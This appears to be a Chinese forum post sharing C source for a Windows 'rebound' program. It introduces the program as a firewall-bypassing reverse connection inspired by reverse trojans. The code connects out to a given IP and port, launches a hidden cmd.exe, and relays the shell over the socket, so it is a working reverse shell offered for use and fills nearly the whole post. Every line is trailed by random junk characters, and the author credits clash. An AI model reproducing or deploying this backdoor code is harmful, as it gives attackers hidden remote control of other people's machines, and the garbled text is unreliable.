这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jw`05rw:
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/* ============================== dFA1nn6{
Rebound port in Windows NT sN2m?`?"G
By wind,2006/7 _,IjB/PR(
===============================*/ C!ch
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#include }r@yBUW
#include r-yUWIr
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#pragma comment(lib,"wsock32.lib") /V63yzoY
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void OutputShell(); ;FW <%
SOCKET sClient; (\!?>T[En
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E
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void main(int argc,char **argv) F-oe49p5e
{ ?5/7
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WSADATA stWsaData; iJZNSRQJ}r
int nRet; EW1,&H
SOCKADDR_IN stSaiClient,stSaiServer; IN.g
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if(argc != 3) ?c+$9
{ *8po0s
printf("Useage:\n\rRebound DestIP DestPort\n"); >]_^iD]*t
return; :0QDV~bs
} T\g+w\N
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3u& ,3:
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |xg_z&dX
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stSaiClient.sin_family = AF_INET; Pq8oK'z-
stSaiClient.sin_port = htons(0); z;F HZb9t,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); O"Nr$bS(Y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K&Bbjb_|
{ Em^~OM3U$q
printf("Bind Socket Failed!\n"); I
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return; j7lJ7BIr
} %y|pVN!U
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stSaiServer.sin_family = AF_INET; vSC1n8 /
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); +ima$a0Zyt
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); *YL86R+U
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @c'iT20
{ q7f`:P9~
printf("Connect Error!"); 0c`nk\vUy
return; c)B3g.C4m
} )GAlj;9A$
OutputShell(); xr7}@rq"U<
}
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void OutputShell() rq4g~e!S
{ _#NibW
char szBuff[1024]; af %w|M
SECURITY_ATTRIBUTES stSecurityAttributes; AU}kIm_+
OSVERSIONINFO stOsversionInfo; Nw$OJ9$L>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IGQBTdPUa
STARTUPINFO stStartupInfo; At?|[%<`
char *szShell; Q?1J<(oq9
PROCESS_INFORMATION stProcessInformation; Q;w[o
unsigned long lBytesRead; 7C0xKF
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); *1{A'`.=\
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); .P aDR |!
stSecurityAttributes.lpSecurityDescriptor = 0; mL2J
stSecurityAttributes.bInheritHandle = TRUE; :PW"7|c!
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ZY]$MZf5yo
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^4+NPk
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); lZL+j6Q
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1W{ oj
stStartupInfo.wShowWindow = SW_HIDE; "nCK%w=
stStartupInfo.hStdInput = hReadPipe; 5WJ ~%"O
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ndzADVP
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GetVersionEx(&stOsversionInfo);
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switch(stOsversionInfo.dwPlatformId) I9qFXvqL
{ _<#92v!F
case 1: 3*~`z9-z
szShell = "command.com"; SsTBjIX
break; v_EgY2l(
default: IDT\hTPIs
szShell = "cmd.exe"; g9|OhymB
break; 5L[imO M0
} D]fuX|f~ul
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); n=V|NrU
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send(sClient,szMsg,77,0); i0K 2#}=^
while(1) PdqvXc
{ os"R'GYmf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Qe>_\-f
if(lBytesRead) VsL,t\67
{ \-pwA j?
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L?+N:G
send(sClient,szBuff,lBytesRead,0); U&1O
} :ig=zETM
else #o/;du
{ * @]wT'
lBytesRead=recv(sClient,szBuff,1024,0); <efO+X!
if(lBytesRead<=0) break; JAd .\2%Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); /y{:N
} jmwN 1Se>
} &uRT/+18W3
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return; <q!HY~"V
}